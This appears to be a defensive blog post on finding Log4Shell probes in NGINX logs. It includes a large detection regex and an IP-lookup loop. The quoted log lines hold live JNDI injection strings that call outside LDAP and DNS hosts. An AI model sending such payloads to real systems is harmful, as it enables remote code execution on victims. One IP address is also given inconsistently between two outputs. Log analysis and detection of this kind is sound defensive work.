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During this year’s Advent the Log4Shell vulnerability was discovered. It’s a vulnerability with high impact. This is because of three factors. It allows an attacker to run arbitrary code (downloaded from LDAP servers) on the victim’s system. Log4j is a logging library used by lots of programs. It’s easy to exploit. The way to fix this vulnerability is upgrade the log4j library to the latest version.

To find out if someone is trying to exploit this vulnerability in your system you can review your logs. For example:

$ sudo journalctl --since 2021-12-09 | \
grep -iE '\$\{jndi:'
Dec 12 05:34:35 cloud waf[638]: 165.22.201.45 - - [12/Dec/2021:05:34:35 +0000] "GET / HTTP/1.1" 444 0 "-" "${jndi:${lower:l}${lower:d}a${lower:p}://world80.log4j.bin${upper:a}ryedge.io:80/callback}"
Dec 13 00:51:28 cloud waf[638]: 157.245.108.40 - - [13/Dec/2021:00:51:28 +0000] "GET / HTTP/1.1" 444 0 "-" "${jndi:${lower:l}${lower:d}a${lower:p}://world443.log4j.bin${upper:a}ryedge.io:80/callback}"
Dec 13 05:01:39 cloud waf[638]: 45.83.64.19 - - [13/Dec/2021:05:01:39 +0000] "GET /$%7Bjndi:dns://45.83.64.1/securityscan-http80%7D HTTP/1.1" 444 0 "${jndi:dns://45.83.64.1/securityscan-http80}" "${jndi:dns://45.83.64.1/securityscan-http80}"

These are logs from NGINX web server. There is no Java running on this system but the Internet is being scanned en masse. The web server is returning 444 because it’s configured like this:

# Just close connection if the server is accessed via IP address or via the
# wrong hostname. _ is just an invalid value which will never trigger on a real
# hostname.
server {
    listen 443 default_server;
    server_name _;
    return 444;
}

More sophisticated exploits and evasion techniques are being discovered. So instead of the simple \$\{jndi: regex you can use this monster. It’s handy to store it in an environment variable:

L4S_REGEX='(?im)(?:^|[\n]).*?(?:[\x24]|%(?:25%?)*24|\\u?0*(?:44|24))(?:[\x7b]|%(?:25%?)*7b|\\u?0*(?:7b|173))[^\n]*?((?:j|%(?:25%?)*(?:4a|6a)|\\u?0*(?:112|6a|4a|152))[^\n]*?(?:n|%(?:25%?)*(?:4e|6e)|\\u?0*(?:4e|156|116|6e))[^\n]*?(?:d|%(?:25%?)*(?:44|64)|\\u?0*(?:44|144|104|64))[^\n]*?(?:[i\x{130}\x{131}]|%(?:25%?)*(?:49|69|C4%(?:25%?)*B0|C4%(?:25%?)*B1)|\\u?0*(?:111|69|49|151|130|460|131|461))[^\n]*?(?:[\x3a]|%(?:25%?)*3a|\\u?0*(?:72|3a))[^\n]*?((?:l|%(?:25%?)*(?:4c|6c)|\\u?0*(?:154|114|6c|4c))[^\n]*?(?:d|%(?:25%?)*(?:44|64)|\\u?0*(?:44|144|104|64))[^\n]*?(?:a|%(?:25%?)*(?:41|61)|\\u?0*(?:101|61|41|141))[^\n]*?(?:p|%(?:25%?)*(?:50|70)|\\u?0*(?:70|50|160|120))(?:[^\n]*?(?:[s\x{17f}]|%(?:25%?)*(?:53|73|C5%(?:25%?)*BF)|\\u?0*(?:17f|123|577|73|53|163)))?|(?:r|%(?:25%?)*(?:52|72)|\\u?0*(?:122|72|52|162))[^\n]*?(?:m|%(?:25%?)*(?:4d|6d)|\\u?0*(?:4d|155|115|6d))[^\n]*?(?:[i\x{130}\x{131}]|%(?:25%?)*(?:49|69|C4%(?:25%?)*B0|C4%(?:25%?)*B1)|\\u?0*(?:111|69|49|151|130|460|131|461))|(?:d|%(?:25%?)*(?:44|64)|\\u?0*(?:44|144|104|64))[^\n]*?(?:n|%(?:25%?)*(?:4e|6e)|\\u?0*(?:4e|156|116|6e))[^\n]*?(?:[s\x{17f}]|%(?:25%?)*(?:53|73|C5%(?:25%?)*BF)|\\u?0*(?:17f|123|577|73|53|163))|(?:n|%(?:25%?)*(?:4e|6e)|\\u?0*(?:4e|156|116|6e))[^\n]*?(?:[i\x{130}\x{131}]|%(?:25%?)*(?:49|69|C4%(?:25%?)*B0|C4%(?:25%?)*B1)|\\u?0*(?:111|69|49|151|130|460|131|461))[^\n]*?(?:[s\x{17f}]|%(?:25%?)*(?:53|73|C5%(?:25%?)*BF)|\\u?0*(?:17f|123|577|73|53|163))|(?:[^\n]*?(?:[i\x{130}\x{131}]|%(?:25%?)*(?:49|69|C4%(?:25%?)*B0|C4%(?:25%?)*B1)|\\u?0*(?:111|69|49|151|130|460|131|461))){2}[^\n]*?(?:o|%(?:25%?)*(?:4f|6f)|\\u?0*(?:6f|4f|157|117))[^\n]*?(?:p|%(?:25%?)*(?:50|70)|\\u?0*(?:70|50|160|120))|(?:c|%(?:25%?)*(?:43|63)|\\u?0*(?:143|103|63|43))[^\n]*?(?:o|%(?:25%?)*(?:4f|6f)|\\u?0*(?:6f|4f|157|117))[^\n]*?(?:r|%(?:25%?)*(?:52|72)|\\u?0*(?:122|72|52|162))[^\n]*?(?:b|%(?:25%?)*(?:42|62)|\\u?0*(?:102|62|42|142))[^\n]*?(?:a|%(?:25%?)*(?:41|61)|\\u?0*(?:101|61|41|141))|(?:n|%(?:25%?)*(?:4e|6e)|\\u?0*(?:4e|156|116|6e))[^\n]*?(?:d|%(?:25%?)*(?:44|64)|\\u?0*(?:44|144|104|64))[^\n]*?(?:[s\x{17f}]|%(?:25%?)*(?:53|73|C5%(?:25%?)*BF)|\\u?0*(?:17f|123|577|73|53|163))|(?:h|%(?:25%?)*(?:48|68)|\\u?0*(?:110|68|48|150))(?:[^\n]*?(?:t|%(?:25%?)*(?:54|74)|\\u?0*(?:124|74|54|164))){2}[^\n]*?(?:p|%(?:25%?)*(?:50|70)|\\u?0*(?:70|50|160|120))(?:[^\n]*?(?:[s\x{17f}]|%(?:25%?)*(?:53|73|C5%(?:25%?)*BF)|\\u?0*(?:17f|123|577|73|53|163)))?)[^\n]*?(?:[\x3a]|%(?:25%?)*3a|\\u?0*(?:72|3a))|(?:b|%(?:25%?)*(?:42|62)|\\u?0*(?:102|62|42|142))[^\n]*?(?:a|%(?:25%?)*(?:41|61)|\\u?0*(?:101|61|41|141))[^\n]*?(?:[s\x{17f}]|%(?:25%?)*(?:53|73|C5%(?:25%?)*BF)|\\u?0*(?:17f|123|577|73|53|163))[^\n]*?(?:e|%(?:25%?)*(?:45|65)|\\u?0*(?:45|145|105|65))[^\n]*?(?:[\x3a]|%(?:25%?)*3a|\\u?0*(?:72|3a))(JH[s-v]|[\x2b\x2f-9A-Za-z][CSiy]R7|[\x2b\x2f-9A-Za-z]{2}[048AEIMQUYcgkosw]ke[\x2b\x2f-9w-z]))'

Now, the command searching the logs for signs of exploit looks like this:

sudo journalctl --since 2021-12-09 | \
perl -wlne "/$L4S_REGEX/ && print" 

If you are curious who is making these requests you can pull out the IP addresses from the logs, for example:

$ sudo journalctl --since 2021-12-09 | \
perl -wlne "/$L4S_REGEX/ && print" | \
perl -wlne '/((?:\d{1,3}\.){3}\d{1,3})/ && print $1' | sort | uniq
157.245.108.40
165.22.201.45
45.83.64.19

To discover information about the IP addresses you might find checkip useful:

$ for ip in $(sudo journalctl --since 2021-12-09 | \
perl -wlne "/$L4S_REGEX/ && print" | \
perl -wlne '/((?:\d{1,3}\.){3}\d{1,3})/ && print $1' | sort | uniq)
do
echo "---[$ip]---"; checkip $ip 2> /dev/null
done
---[157.245.108.40]---
abuseipdb.com   domain: digitalocean.com, usage type: Data Center/Web Hosting/Transit
iptoasn.com     AS description: DIGITALOCEAN-ASN - DigitalOcean, LLC
maxmind.com     city: Bengaluru, country: India (IN)
ping            0% packet loss, sent 5, recv 5, avg round-trip 141 ms
shodan.io       OS: n/a, 1 open port: tcp/4646
urlscan.io      0 related URLs
virustotal.com  network: 157.245.0.0/16, SAN: knrao.in, cpanel.knrao.in, cpcalendars.knrao.in, cpcontacts.knrao.in, mail.knrao.in, webdisk.knrao.in, webmail.knrao.in, www.knrao.in
Malicious       38% 🤏
---[165.22.201.45]---
abuseipdb.com   domain: digitalocean.com, usage type: Data Center/Web Hosting/Transit
iptoasn.com     AS description: DIGITALOCEAN-ASN - DigitalOcean, LLC
maxmind.com     city: Amsterdam, country: Netherlands (NL)
ping            0% packet loss, sent 5, recv 5, avg round-trip 16 ms
shodan.io       OS: Ubuntu, 4 open ports: tcp/22 (OpenSSH, 8.2p1 Ubuntu-4ubuntu0.2), tcp/80 (Apache httpd, 2.4.51), tcp/443 (Apache httpd, 2.4.7), tcp/465 (Exim smtpd, 4.94.2)
urlscan.io      0 related URLs
virustotal.com  network: 165.22.0.0/16, SAN: *.adleon2jnbvsh.com, adleon2jnbvsh.com
Malicious       38% 🤏
---[45.83.64.49]---
abuseipdb.com   domain: n/a, usage type: n/a
iptoasn.com     AS description: ALPHASTRIKE-RESEARCH
maxmind.com     city: n/a, country: Germany (DE)
ping            0% packet loss, sent 5, recv 5, avg round-trip 16 ms
shodan.io       OS: n/a, 1 open port: tcp/179
urlscan.io      0 related URLs
virustotal.com  network: 45.83.64.0/22, SAN: n/a
Malicious       50% 🚫